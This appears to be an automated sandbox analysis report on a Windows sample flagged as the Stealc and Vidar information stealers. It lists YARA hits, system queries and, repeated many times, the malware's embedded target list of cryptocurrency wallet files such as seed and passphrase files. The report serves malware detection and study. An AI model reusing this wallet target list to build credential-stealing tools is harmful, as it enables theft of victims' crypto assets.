Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C5035A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

0_2_6C5035A0

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.350000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.1730489786.0000000004C50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2082345429.000000000119E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2080967365.0000000000351000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7420, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 7420, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.2080967365.0000000000436000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2080967365.0000000000464000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \ElectronCash\wallets\
Source: file.exe, 00000000.00000002.2080967365.0000000000436000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2080967365.0000000000464000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Jaxx Liberty
Source: file.exe, 00000000.00000002.2080967365.0000000000436000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2080967365.0000000000436000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2080967365.0000000000464000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: file.exe, 00000000.00000002.2080967365.0000000000464000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: info.seco
Source: file.exe, 00000000.00000002.2080967365.0000000000436000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2080967365.0000000000464000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: passphrase.json
Source: file.exe, 00000000.00000002.2080967365.0000000000436000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2080967365.0000000000436000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2080967365.0000000000464000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: file.exe, 00000000.00000002.2082345429.0000000001213000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance\.finger-print.fp
Source: file.exe, 00000000.00000002.2080967365.0000000000436000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2080967365.0000000000436000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2080967365.0000000000436000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2080967365.0000000000464000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: file.exe, 00000000.00000002.2080967365.0000000000464000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: MultiDoge
Source: file.exe, 00000000.00000002.2080967365.0000000000464000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: seed.seco
Source: file.exe, 00000000.00000002.2080967365.0000000000436000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2080967365.0000000000436000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2082345429.000000000119E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\.V

